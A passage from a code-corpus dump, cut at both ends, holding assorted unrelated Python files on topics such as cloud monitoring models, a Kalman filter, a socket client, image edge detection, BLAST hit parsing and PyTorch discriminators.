__init__(self):\n \"\"\"\n :param En: 指标英文解释\n :type En: str\n :param Zh: 指标中文解释\n :type Zh: str\n \"\"\"\n self.En = None\n self.Zh = None\n\n\n def _deserialize(self, params):\n self.En = params.get(\"En\")\n self.Zh = params.get(\"Zh\")\n\n\nclass MetricSet(AbstractModel):\n \"\"\"对业务指标的单位及支持统计周期的描述\n\n \"\"\"\n\n def __init__(self):\n \"\"\"\n :param Namespace: 命名空间，每个云产品会有一个命名空间\n :type Namespace: str\n :param MetricName: 指标名称\n :type MetricName: str\n :param Unit: 指标使用的单位\n :type Unit: str\n :param UnitCname: 指标使用的单位\n :type UnitCname: str\n :param Period: 指标支持的统计周期，单位是秒，如60、300\n :type Period: list of int\n :param Periods: 统计周期内指标方式\n :type Periods: list of PeriodsSt\n :param Meaning: 统计指标含义解释\n :type Meaning: :class:`tencentcloud.monitor.v20180724.models.MetricObjectMeaning`\n :param Dimensions: 维度描述信息\n :type Dimensions: list of DimensionsDesc\n \"\"\"\n self.Namespace = None\n self.MetricName = None\n self.Unit = None\n self.UnitCname = None\n self.Period = None\n self.Periods = None\n self.Meaning = None\n self.Dimensions = None\n\n\n def _deserialize(self, params):\n self.Namespace = params.get(\"Namespace\")\n self.MetricName = params.get(\"MetricName\")\n self.Unit = params.get(\"Unit\")\n self.UnitCname = params.get(\"UnitCname\")\n self.Period = params.get(\"Period\")\n if params.get(\"Periods\") is not None:\n self.Periods = []\n for item in params.get(\"Periods\"):\n obj = PeriodsSt()\n obj._deserialize(item)\n self.Periods.append(obj)\n if params.get(\"Meaning\") is not None:\n self.Meaning = MetricObjectMeaning()\n self.Meaning._deserialize(params.get(\"Meaning\"))\n if params.get(\"Dimensions\") is not None:\n self.Dimensions = []\n for item in params.get(\"Dimensions\"):\n obj = DimensionsDesc()\n obj._deserialize(item)\n self.Dimensions.append(obj)\n\n\nclass PeriodsSt(AbstractModel):\n \"\"\"周期内的统计方式\n\n \"\"\"\n\n def __init__(self):\n \"\"\"\n :param Period: 周期\n :type Period: str\n :param StatType: 统计方式\n :type StatType: list of str\n \"\"\"\n self.Period = None\n self.StatType = None\n\n\n def _deserialize(self, params):\n self.Period = params.get(\"Period\")\n self.StatType = params.get(\"StatType\")","sub_path":"tencentcloud/monitor/v20180724/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"342197793","text":"\"\"\"\nCreate a new dashboard with manage_status widget\n\"\"\"\n\nfrom datadog_api_client import ApiClient, Configuration\nfrom datadog_api_client.v1.api.dashboards_api import DashboardsApi\nfrom datadog_api_client.v1.model.dashboard import Dashboard\nfrom datadog_api_client.v1.model.dashboard_layout_type import DashboardLayoutType\nfrom datadog_api_client.v1.model.monitor_summary_widget_definition import MonitorSummaryWidgetDefinition\nfrom datadog_api_client.v1.model.monitor_summary_widget_definition_type import MonitorSummaryWidgetDefinitionType\nfrom datadog_api_client.v1.model.widget import Widget\nfrom datadog_api_client.v1.model.widget_color_preference import WidgetColorPreference\nfrom datadog_api_client.v1.model.widget_layout import WidgetLayout\nfrom datadog_api_client.v1.model.widget_monitor_summary_display_format import WidgetMonitorSummaryDisplayFormat\nfrom datadog_api_client.v1.model.widget_monitor_summary_sort import WidgetMonitorSummarySort\nfrom datadog_api_client.v1.model.widget_summary_type import WidgetSummaryType\n\nbody = Dashboard(\n title=\"Example-Dashboard\",\n description=\"\",\n widgets=[\n Widget(\n layout=WidgetLayout(\n x=0,\n y=0,\n width=50,\n height=25,\n ),\n definition=MonitorSummaryWidgetDefinition(\n type=MonitorSummaryWidgetDefinitionType.MANAGE_STATUS,\n summary_type=WidgetSummaryType.MONITORS,\n display_format=WidgetMonitorSummaryDisplayFormat.COUNTS_AND_LIST,\n color_preference=WidgetColorPreference.TEXT,\n hide_zero_counts=True,\n show_last_triggered=False,\n query=\"\",\n sort=WidgetMonitorSummarySort.STATUS_ASCENDING,\n count=50,\n start=0,\n ),\n ),\n ],\n template_variables=[],\n layout_type=DashboardLayoutType.FREE,\n is_read_only=False,\n notify_list=[],\n)\n\nconfiguration = Configuration()\nwith ApiClient(configuration) as api_client:\n api_instance = DashboardsApi(api_client)\n response = api_instance.create_dashboard(body=body)\n\n print(response)\n","sub_path":"examples/v1/dashboards/CreateDashboard_2917274132.py","file_name":"CreateDashboard_2917274132.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"155804561","text":"from typing import List\n\nclass Solution:\n #时间复杂度 O(N) ： 其中 N 为列表 pushed 的长度；每个元素最多入栈与出栈一次，即最多共 2N 次出入栈操作。\n #空间复杂度 O(N) ： 辅助栈 stack 最多同时存储 NN 个元素。\n\n def validateStackSequences(self, pushed: List[int], popped: List[int]) -> bool:\n stack, i = [], 0 #stack辅助栈\n for num in pushed:\n stack.append(num) # num 入栈\n while stack and stack[-1] == popped[i]: # 如果栈顶一样 循环判断与出栈\n stack.pop()\n i += 1 #把i +1，指向下一个popped的值\n return not stack\n\n","sub_path":"Offer/Offer31-validateStackSequences.py","file_name":"Offer31-validateStackSequences.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"407812493","text":"import rospy\nimport numpy as np\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import Twist\n\n\nclass KalmanFilter():\n def __init__(self, position, velocity):\n self.step_time = 0.1\n self.X0 = self.get_numpy_state(position, velocity)\n self.P0 = 0.001 * np.eye(4) # Ne znam kako izgleda pocetna matrica\n self.Q = 0.1 * np.eye(4)\n self.R = 0.001 * np.eye(2)\n\n T = self.step_time\n self.A = np.array([[1, 0, T, 0], [0, 1, 0, T], [0, 0, 1, 0], [0, 0, 0, 1]])\n self.B = np.array([[]])\n self.H = np.array([[1, 0, 0, 0], [0, 1, 0, 0]])\n\n self.X_old = self.X0\n self.P_old = self.P0\n\n def get_numpy_state(self, position, velocity=Twist()):\n \"\"\"Convert from some type (here: ROS msg) to numpy array.\"\"\"\n x = position.position.x\n y = position.position.y\n vx = velocity.linear.x\n vy = velocity.linear.y\n state = np.array([[x, y, vx, vy]])\n return state.T\n\n def get_used_state(self, np_state):\n \"\"\"Convert from numpy array to type used elswhere (here: ROS msg).\"\"\"\n time = rospy.Time.now()\n msg = Odometry()\n msg.header.stamp = time\n msg.pose.pose.position.x = np_state[0][0]\n msg.pose.pose.position.y = np_state[1][0]\n msg.twist.twist.linear.x = np_state[2][0]\n msg.twist.twist.linear.y = np_state[3][0]\n return msg\n\n def predict(self, u):\n \"\"\"\n Args:\n u: input vector\n \"\"\"\n X_est = np.dot(self.A, self.X_old)\n P_est = np.dot(np.dot(self.A, self.P_old), self.A.T) + self.Q\n\n self.X_old = X_est\n self.P_old = P_est\n\n return X_est, P_est\n\n def update(self, X_est, P_est, Xm):\n \"\"\"\n Args:\n Xm: measured state\n X_est: estimated state from prediction step\n P_est: estimated covariance matrix from prediction step\n \"\"\"\n Xm = self.get_numpy_state(Xm)\n K = np.dot(np.dot(P_est, self.H.T), np.linalg.inv(np.dot(np.dot(self.H, P_est), self.H.T) + self.R))\n Y = np.dot(self.H, Xm)\n X_new = X_est + np.dot(K, (Y - np.dot(self.H, X_est)))\n P_new = np.eye(4) - np.dot(np.dot(K, self.H), P_est)\n\n self.X_old = X_new\n self.P_old = P_new\n\n return self.get_used_state(X_new)\n","sub_path":"scripts/kalman.py","file_name":"kalman.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"394679148","text":"import socket\nimport sys\n\n\n# Create a TCP/IP socket\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# Connect the socket to the port where the server is listening\nserver_address = ('localhost', 10000)\nprint(sys.stderr, 'connecting to %s port %s' % server_address)\nsock.connect(server_address)\n\n# After the connection is established, data can be sent through the socket with sendall() and received with recv(), just as in the server.\n\ntry:\n # Send data\n # message = input()\n line = \"\"\"a = input('a=')\nprint(a)\"\"\"\n message = exec(line)\n\n # message = 'This is the message. It will be repeated.'\n print(sys.stderr, 'sending {}'.format(message))\n sock.sendall(message.encode('utf-8'))\n\n # Look for the response\n amount_received = 0\n amount_expected = len(message)\n\n while amount_received < amount_expected:\n data = sock.recv(1024)\n amount_received += len(data)\n print(sys.stderr, 'received {}'.format(data))\nfinally:\n print(sys.stderr, 'closing socket')\n sock.close()\n","sub_path":"Socket Programming/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"407828869","text":"import numpy as np\nimport matplotlib.pyplot as plt\n# State 0 is facing towards the lava, State 1 is facing away from the lava.\n# Control actions are moving forward, moving backward (which are absorbing states) and turning around\n\ncontrol_action_rewards = np.array(\n [[-100,100,-1],\n [100,-50,-1]]).T\n\nmeasurement_probabilities = np.array(\n [[0.7, 0.3],\n [0.3, 0.7]]\n)\npx1_u_x2 = np.array(\n [[[0, 0], [0, 0]],\n [[0, 0], [0, 0]],\n [[0.8, 0.2],[0.2, 0.8]]]\n)\n\n# Line set for each control action\ndef calculate_policy(T, gamma):\n # Initial line set\n line_set = [[0,0]]\n for tau in range(T):\n print(tau)\n all_new_lines = []\n policy = {}\n v_kuzj = np.zeros((len(line_set),3,2,2))\n # Cycle through each line\n for k, line in enumerate(line_set):\n # Cycle through each control action\n for u in range(3):\n # Cycle through each measurement\n for z in range(2):\n # Cycle through each state\n for j in range(2):\n for i in range(2):\n vik = line[i]\n pz_xi = measurement_probabilities[z][i]\n pxi_u_xj = px1_u_x2[u][j][i]\n v_kuzj[k][u][z][j] += vik*pz_xi*pxi_u_xj\n for u in range(3):\n for k1, line1 in enumerate(line_set):\n for k2, line2 in enumerate(line_set):\n v = [0,0]\n for i in range(2):\n v[i] = gamma*(control_action_rewards[u][i] + v_kuzj[k1][u][0][i] + v_kuzj[k2][u][1][i])\n if abs(v[0]) == 100*gamma:\n policy[(v[0], v[1])] = u\n else:\n policy[(v[1], v[0])] = u\n all_new_lines.append(v)\n line_set = np.copy(all_new_lines)\n if tau==0:\n pruned_lines = line_set\n else:\n not_initial = np.argwhere(abs(line_set[:,0]) != gamma*100)\n line_set[not_initial] = np.flip(np.squeeze(line_set[not_initial]), axis=1)[:,None,:]\n # Prune the lines\n # Check for duplicates\n line_dict = {}\n next_lines = []\n for line_first in line_set:\n skip_line = False\n for check_line in next_lines:\n if np.allclose(line_first, check_line):\n skip_line = True\n break\n if skip_line:\n continue\n next_lines.append(line_first) \n # Keep dominant lines\n to_examine = next_lines[np.argmax(np.array(next_lines)[:,0])]\n pruned_lines = np.array([to_examine])\n start_x = 0\n finished = False\n remaining_linear_constraints = np.delete(next_lines, 1, axis=0)\n while not finished:\n # Check minimum intersecting lines\n m1 = np.repeat(to_examine[1]-to_examine[0], len(remaining_linear_constraints))\n b1 = np.repeat(to_examine[0], len(remaining_linear_constraints))\n m2 = remaining_linear_constraints[:,1] - remaining_linear_constraints[:,0]\n b2 = remaining_linear_constraints[:,0]\n delete_indices = np.where(np.isclose(m2-m1, 0))\n m1 = np.delete(m1, delete_indices, axis=0)\n b1 = np.delete(b1, delete_indices, axis=0)\n m2 = np.delete(m2, delete_indices, axis=0)\n b2 = np.delete(b2, delete_indices, axis=0)\n remaining_linear_constraints = np.delete(remaining_linear_constraints, delete_indices, axis=0)\n if len(remaining_linear_constraints) == 0:\n break\n x = (b1-b2)/(m2-m1)\n delete_indices_2 = np.where(x < start_x)\n x = np.delete(x, delete_indices_2)\n remaining_linear_constraints = np.delete(remaining_linear_constraints, delete_indices_2, axis=0)\n if len(remaining_linear_constraints) == 0:\n break\n\n mins = np.argmin(x)\n candidates = remaining_linear_constraints[mins].reshape(-1,2)\n pruned_lines = np.concatenate((pruned_lines, candidates), axis=0)\n remaining_linear_constraints = np.delete(remaining_linear_constraints, mins, axis=0)\n to_examine = np.copy(candidates)[0]\n start_x = x[mins] \n line_set = np.copy(pruned_lines)\n for constraint in line_set:\n plt.plot([0,1], constraint)\n print(line_set)\n return policy, line_set\n\n\n\ndef take_measurement(actual_state):\n prob = np.random.random()\n if prob > 0.7:\n return int(not actual_state)\n else:\n return actual_state\n\ndef update_belief_after_measurement(p1, measured):\n if measured == 1:\n return (p1*0.7)/(0.4*p1+0.3)\n else: \n return (p1*0.3)/(-0.4*p1+0.7)\n\ndef update_belief_after_state_change(p1):\n return (-0.6*p1 + 0.8)\n\ndef take_step_u3(actual_state):\n prob = np.random.random()\n if prob > 0.8:\n return actual_state\n else:\n return int(not actual_state)\n\ndef simulate(steps, p1, actual_state, line_set, policy):\n reward = 0\n m = line_set[:,1] - line_set[:,0]\n b = line_set[:,0]\n for i in range(steps):\n measurement = take_measurement(actual_state)\n p1 = update_belief_after_measurement(p1, measurement)\n p0 = p1\n policy_line = line_set[np.argmax(m*p1 + b)]\n action_to_take = policy[(policy_line[0], policy_line[1])]\n reward += control_action_rewards[action_to_take][actual_state]\n if action_to_take == 0 or action_to_take == 1:\n break\n else: \n prev_state = actual_state\n actual_state = take_step_u3(actual_state)\n p1 = update_belief_after_state_change(p1)\n print(\"Step: {}, x_prev: {}, z: {}, p_after_measure: {}, x_after: {}, p_after_state_transition: {}\".format(i, prev_state, measurement, p0, actual_state, p1))\n print(\"Step: {}, measurement: {}, Final p1: {} Final Reward: {}\".format(i, measurement, p1, reward))\n\nif __name__ == \"__main__\":\n T=20\n gamma = 1.0\n policy, line_set = calculate_policy(T, gamma)\n plt.show()\n for i in range(10):\n simulate(T, 0.6, 1.0, line_set, policy)","sub_path":"pomdp_planning/pomdp.py","file_name":"pomdp.py","file_ext":"py","file_size_in_byte":6430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"122007794","text":"\nimport time,re\n# current_time=time.localtime()\n# #print(current_time)\n# current_clock_time=time.strftime(\"%y/%m/%d-%H:%M:%S\")\n# print(current_clock_time)\nName=input(\"enter\")\nprice=input(\"enter\")\ndef valid_product(Name,price):\n val1=re.match(\"([a-z]+)([a-z]+)([a-z]+)$\",Name)\n val2=re.match(\"[0-9]{0,7}$\",price)\n if val1 and val2:\n return True\n else:\n return False\nprint(valid_product(Name,price))\n","sub_path":"day11/tt.py","file_name":"tt.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"159981923","text":"## Script (Python) \"guard_cancelled_object\"\n##bind container=container\n##bind context=context\n##bind namespace=\n##bind script=script\n##bind subpath=traverse_subpath\n##parameters=\n##title=\n##\n\nwf_tool = context.portal_workflow\n\n# Can't do anything to the object if it's cancelled\nif wf_tool.getInfoFor(context, 'cancellation_state') == \"cancelled\":\n return False\n\nreturn True\n\n","sub_path":"bika/lims/skins/bika/guard_cancelled_object.py","file_name":"guard_cancelled_object.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"361105412","text":"#!/usr/bin/python3\n\nimport pandas as pd\nimport numpy as np\nimport requests, sys\nfrom itertools import combinations\n#import seaborn as sns\nfrom scipy import stats\nimport pickle\nfrom collections import Counter\nimport copy\nfrom scipy.stats import sem, t\nfrom scipy import mean\nimport re\nimport os\nimport gzip\nimport fileinput\n\n\n\"\"\"\nHere we create the function for checking the input parameters and saving\nthem in different variables, error if the usage is not good\n\"\"\"\n\nif len(sys.argv) == 4:\n tags_file = sys.argv[1]\n ref_species = sys.argv[2]\n out_file = sys.argv[3]\nelse:\n sys.exit(\"The usage shoud be: ./FinderSBH.py in_file tag_file output_file\")\n\n#VARIABLES\n#!/usr/bin/env python3\n\n#VARIABLES\nquery_species = \"\"\nSBH_dict = {}\nspecies_counter = {}\ncluster_dict = {}\n\n\"\"\"\nRead TAGs file foreach primate species used in the analysis\nand store it in a Pandas DataFrame\n\"\"\"\n\nSpecies_tags = pd.read_csv(tags_file, sep='\\t', low_memory=False)#panda creation\ncolnames = ['Target{}'.format(num) for num in range(1, len(Species_tags))]\nfinalnames = ['Query'] + colnames\nSBH_df = pd.DataFrame(columns=finalnames)\n\n\n\"\"\"\nFUNCTIONS\n\"\"\"\n\n\"\"\"\nStore in a dictionary all target species so as to keep a counter\nfor unique species as best hits\n\"\"\"\n\ndef store_target_species_count_in_dict(Species_df, reference):\n target_species = Species_df['Species'].to_list()\n print(reference)\n target_species.remove(reference)\n species_counter = {name:0 for name in target_species}\n return species_counter\n\n\n\"\"\"\nHere, we create a function that parses the clusters of sequences to retrieve all\nIDs from the cluster appart from the representative one\n\"\"\"\n\ndef parse_cluster_file(clusters_file, clusters_dict):\n with open(clusters_file, \"rt\") as in_fh:\n id = \"\"\n clustered = []\n for line in in_fh:\n line = line.rstrip()\n if line.startswith(\">\") and not id:\n continue\n elif line.startswith(\">\"):\n clusters_dict[representative] = clustered\n id = \"\"\n clustered = []\n else:\n id = line.split(\">\")[1].split(\".\")[0]\n if line[-1] == \"*\":\n representative = id\n else:\n clustered.append(id)\n clusters_dict[representative] = clustered\n return clusters_dict\n\n\n\"\"\"\nAnother function here helps us to identify extra species by looking whether the\nID of the species match any of the clusters, and retrieves all the other\ntarget IDs associated\n\"\"\"\n\n\ndef check_all_species_in_cluster(ident, query, clusters_dict, best_hit_dict,\nsp_counter):\n sp_counter, best_hit_dict = include_only_best_hit_foreach_species_target(ident,\n best_hit_dict, query, sp_counter)\n if ident in clusters_dict:\n for value in clusters_dict[ident]:\n sp_counter, best_hit_dict = include_only_best_hit_foreach_species_target(value,\n best_hit_dict, query, sp_counter)\n return sp_counter, best_hit_dict\n\n\n\"\"\"\nHere, the function includes only a species once, as the best hit for our reference\nspecies. Then, with that in mind, filters for species appearing more than once\nas hits for a specific query entry\n\"\"\"\n\n#FUNCTION TO INCLUDE ONLY A SPECIES ONCE (BEST HIT)\ndef include_only_best_hit_foreach_species_target(elem, best_hit_dict, query,\nsp_counter):\n for item in Species_tags['Tag']:\n if elem.startswith(item):\n current_species = Species_tags.loc[Species_tags['Tag'] == item].Species.item()\n if current_species in sp_counter:\n if sp_counter[current_species] == 0:\n sp_counter[current_species] += 1\n best_hit_dict[query].append(elem)\n return sp_counter, best_hit_dict\n\n\n\"\"\"\nLast function to print the ouput in Pandas format for the Query and\nTarget columns in our dataframe\n\"\"\"\n\n#FUNCTION TO INCLUDE ONLY A SPECIES ONCE (BEST HIT)\ndef append_out_BBHs_pandas_format(sbh_dict, sbh_df, query):\n query_row = [query] + sbh_dict[query] + \\\n list(np.repeat(np.nan, len(sbh_df.columns)-len(sbh_dict[query])-1))\n sbh_df = sbh_df.append(pd.Series(query_row, index=sbh_df.columns),\n ignore_index=True)\n return sbh_df\n\n\n\n\"\"\"\nMAIN\n\"\"\"\n\nspecies_counter = store_target_species_count_in_dict(Species_tags, ref_species)\n\n#cluster_dict = parse_cluster_file(clust_file, cluster_dict)\n\ncount = 0\nin_fh = iter(sys.stdin)\nfor line in in_fh:\n line = line.rstrip()\n if line.startswith(\"Query=\") and query_species == \"\":\n query_fields = line[7:].split(\" \")\n query_species = \"_\".join(query_fields[0:1])\n SBH_dict[query_species] = []\n elif line.startswith(\"Query=\"):\n SBH_df = append_out_BBHs_pandas_format(SBH_dict, SBH_df,\n query_species)\n query_fields = line[7:].split(\" \")\n query_species = \"_\".join(query_fields[0:1])\n SBH_dict[query_species] = []\n species_counter = {k:0 for k in species_counter}\n elif line.startswith(\"Sequences producing significant alignments\"):\n next(in_fh)\n line_new = next(in_fh).rstrip()\n while (any(letter.isalnum() for letter in line_new)):\n ID_fields = line_new.split(\" \")\n ID = \"_\".join(ID_fields[2:3])\n species_counter, SBH_dict = include_only_best_hit_foreach_species_target(ID, SBH_dict,\n query_species, species_counter)\n line_new = next(in_fh).rstrip()\n\n#REPEAT THIS AFTER LOOP`FOR LAST HOMOLOG ENTRY\nSBH_df = append_out_BBHs_pandas_format(SBH_dict, SBH_df,\nquery_species)\n#Print_SBHs_in_Pandas_format(SBH_dict, SBH_df, out_file)\nSBH_df.to_csv(out_file, sep = \"\\t\", index=False)\n","sub_path":"Orthologies_human_driven_refs/BlastP/BBHs/FinderSBH.py","file_name":"FinderSBH.py","file_ext":"py","file_size_in_byte":5650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"491461380","text":"###Edit by Hanlin Gu on 1/9/2020\n###obtain population of different conformations, 'result$.txt' is the revised version of '2nd_stage_brute_force_classification_result.dat', removed:@\n###2nd_stage_brute_force_classification_result.dat has 8 columns, the 1st column is the number, 2nd-7th columns are distance of three conformations in two range(so is 6)\n### 8th column is the minmum distance of 2nd-7th distance, 9th column is the conformation number which will assign. \n###Actually here we have three conformations in two range, so is 6 classes, even number classes are right which represent blue range and odd number classes are wrong which\n### represent the green range\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef cal(path):\n data = np.loadtxt(path)\n print(data.shape)\n open = 0\n intermmediate = 0\n close = 0\n distance = []\n distance1 = []\n distance2 = []\n for i in range(data.shape[0]):\n if data[i, 8] == 0:\n open = open + 1\n distance.append(data[i, 7])\n if data[i, 8] == 2:\n distance1.append(data[i, 7])\n intermmediate = intermmediate + 1\n if data[i, 8] == 4:\n distance2.append(data[i, 7])\n\n close = close + 1\n\n plt.scatter(np.arange(len(distance)), distance)\n plt.savefig('large_range_distribution.png')\n plt.show()\n print(close)\n sum = open + close + intermmediate\n exp = [float(open / sum), float(intermmediate / sum), float(close / sum)]\n return exp\n\n\nif __name__ == '__main__':\n path = ['result1.txt', 'result2.txt',\n 'result3.txt']\n array = []\n real = [0.4, 0.3, 0.3]\n\n for i in range(3):\n print(path[i])\n exp = cal(path[i])\n print(exp)\n array.append(exp)\n fig = plt.figure(num=1, figsize=(15, 8), dpi=80)\n plt.title('propotion comparison')\n plt.plot(np.arange(3), exp, color='y', label='experiment3')\n plt.plot(np.arange(3), real, color='r', label='real')\n plt.legend(loc='upper right')\n \n \n plt.savefig('proportion_comparison')\n mean = np.mean(array, 0)\n rows = ['%d' % x for x in range(3)]\n std = np.std(array, 0)\n\n plt.cla()\n columns = ('mean', 'std')\n cell_text = np.transpose(np.array([mean, std]))\n table = plt.table(cellText=cell_text,\n rowLabels=rows,\n colLabels=columns, loc='center')\n table.scale(1, 4)\n table.set_fontsize(14)\n plt.axis('off')\n plt.title('three score')\n plt.savefig( 'comparison table')\n","sub_path":"two_stage_matching/analyze_population.py","file_name":"analyze_population.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"441060622","text":"import cv2 as cv\nimport time\nfrom imutils.video import VideoStream\nimport imutils\nimport pickle\nimport cv2\nimport dlib\nimport numpy as np\n\n\ndef detector(image):\n frame = image \n detector = dlib.fhog_object_detector('mysign.svm')\n detector_light = dlib.fhog_object_detector('mytraffic_light.svm')\n # gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n rects = detector(frame, 0)\n rects_light = detector_light(frame, 0) \n\n if len(rects) > 0:\n for rect in rects:\n (bX, bY, bW, bH) = (rect.left(), rect.top(), rect.right(), rect.bottom())\n if bX < 0:\n bX = 0\n if bY < 0:\n bY = 0\n if bW < 0:\n bW = 0\n if bH < 0:\n bH = 0\n\n cv2.rectangle(frame, (bX, bY), (bW, bH),(255, 255, 255), 5)\n\n\n\n# vs = VideoStream(usePiCamera=True).start()\nvs = VideoStream(src=0).start()\ntime.sleep(2)\nwhile True:\n frame = vs.read()\n frame = imutils.resize(frame, width=750)\n # frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n frame = cv2.GaussianBlur(frame, (5, 5), 0)\n\n\n lap = cv2.Laplacian(frame, cv2.CV_64F)\n lap = np.uint8(np.absolute(lap))\n # cv2.imshow(\"Laplacian\", lap)\n # cv2.waitKey(0)\n\n # Sobel edge detection\n sobelX = cv2.Sobel(frame, cv2.CV_64F, 1, 0)\n sobelY = cv2.Sobel(frame, cv2.CV_64F, 0, 1)\n\n sobelX = np.uint8(np.absolute(sobelX))\n sobelY = np.uint8(np.absolute(sobelY))\n\n sobelCombined = cv2.bitwise_or(sobelX, sobelY)\n detector(sobelCombined)\n cv2.imshow(\"Frame\", sobelCombined)\n key = cv2.waitKey(100)\n if key == ord(\"q\"):\n break\ncv2.destroyAllWindows()\nvs.stop()\n","sub_path":"img_processing/f_my_edge_sobel.py","file_name":"f_my_edge_sobel.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"549806564","text":"from wx import *\n\nclass MyApp(App):\n def OnInit(self):\n f = Frame(None, -1, \"Titulo\")\n p = Panel(f)\n s = BoxSizer(VERTICAL)\n t1 = self.t1 = TextCtrl(p)\n t2 = self.t2 = TextCtrl(p)\n b = Button(p, -1, \"Suma\")\n r = self.r = StaticText(p)\n b.Bind(EVT_BUTTON, self.sumar)\n s.Add(t1)\n s.Add(t2)\n s.Add(b)\n s.Add(r)\n p.SetSizer(s)\n f.Show()\n\n return True\n\n def sumar(self, e):\n self.r.SetLabel(str(int(self.t1.Value) + int(self.t2.Value)))\n\n\napp = MyApp()\napp.MainLoop()\n\n","sub_path":"18wx-001.py","file_name":"18wx-001.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"371279436","text":"from .layers import Linear\nfrom ..utils import glorot\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass Discriminator(nn.Module):\n def __init__(self, name, dim, mlp_dim=None):\n super(Discriminator, self).__init__()\n self.dim = dim\n self.mlp_dim = mlp_dim\n self.layer = disc_dict[name.lower()](dim, mlp_dim)\n\n def forward(self, x, y, outer=False):\n score = self.layer(x, y, outer)\n return score\n\n\nclass InnerProd(nn.Module):\n def __init__(self, dim, mlp_dim):\n super(InnerProd, self).__init__()\n self.dim = dim\n\n def forward(self, x, y, outer=False):\n if outer:\n score = torch.matmul(x, y.transpose(1,0)) \n else:\n score = torch.sum((x * y), dim=-1)\n return score\n\n\nclass Bilinear(nn.Module):\n def __init__(self, dim, mlp_dim):\n super(Bilinear, self).__init__()\n self.dim = dim\n self.bil = nn.Bilinear(dim, dim, 1)\n self.weight = glorot([dim, dim])\n\n def forward(self, x, y, outer=False):\n if outer:\n score = torch.matmul(torch.matmul(x, self.weight), y.transpose(1,0))\n else:\n score = torch.squeeze(self.bil(x, y), dim=-1)\n return score\n\n\nclass MLP(nn.Module):\n def __init__(self, dim, mlp_dim):\n super(MLP, self).__init__()\n self.dim = dim\n self.layers = nn.ModuleList()\n self.mlp_dim = mlp_dim\n for i in range(1, len(self.mlp_dim) - 1):\n self.layers.append(Linear(self.mlp_dim[i - 1], self.mlp_dim[i], act=F.relu))\n self.layers.append(Linear(self.mlp_dim[-2], self.mlp_dim[-1], act=lambda x: x))\n\n def forward(self, x, y, outer=False):\n h = torch.cat([x, y], dim=1)\n for layer in self.layers:\n h = layer(h)\n return torch.squeeze(h, dim=-1)\n\n\ndisc_dict = {\n \"inner\": InnerProd,\n \"bilinear\": Bilinear,\n \"mlp\": MLP\n}\n","sub_path":"src/opengcl/framework/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"314747050","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/svpino/dev/tensorflow-object-detection-sagemaker/todl/tensorflow-object-detection/research/object_detection/protos/anchor_generator_pb2.py\n# Compiled at: 2020-04-05 21:16:38\n# Size of source mod 2**32: 6890 bytes\nimport google.protobuf as _descriptor\nimport google.protobuf as _message\nimport google.protobuf as _reflection\nimport google.protobuf as _symbol_database\n_sym_db = _symbol_database.Default()\nimport object_detection.protos as object__detection_dot_protos_dot_flexible__grid__anchor__generator__pb2\nimport object_detection.protos as object__detection_dot_protos_dot_grid__anchor__generator__pb2\nimport object_detection.protos as object__detection_dot_protos_dot_multiscale__anchor__generator__pb2\nimport object_detection.protos as object__detection_dot_protos_dot_ssd__anchor__generator__pb2\nDESCRIPTOR = _descriptor.FileDescriptor(name='object_detection/protos/anchor_generator.proto',\n package='object_detection.protos',\n syntax='proto2',\n serialized_options=None,\n serialized_pb=b'\\n.object_detection/protos/anchor_generator.proto\\x12\\x17object_detection.protos\\x1a 1]\n\n print('Building common features...')\n graph_ids, graph_texts, class_weights, node_classes, edge_classes, max_num_nodes, coarse_pos_tags, fine_pos_tags, \\\n node_texts = get_common_info(graphs, class_mapping)\n\n print('Calculating graph features...')\n # convert edge labels to ids\n for i, (_, g, _) in enumerate(graphs):\n for u, v, old_attrs in g.edges(data=True):\n edge_class_id = edge_classes.index(transform.get_label_for_edge(old_attrs))\n g.edges[u, v].update({\n 'class_one_hot': tf.one_hot(edge_class_id, depth=len(edge_classes), dtype=tf.float32),\n 'class_ordinal': edge_class_id\n })\n for n_id, old_attrs in g.nodes(data=True):\n node_class = transform.get_node_class_for_node(old_attrs, class_mapping)\n if node_class != transform.IRRELEVANT_CLASS:\n node_class_id = node_classes.index(node_class)\n node_class_one_hot = tf.one_hot(node_class_id, 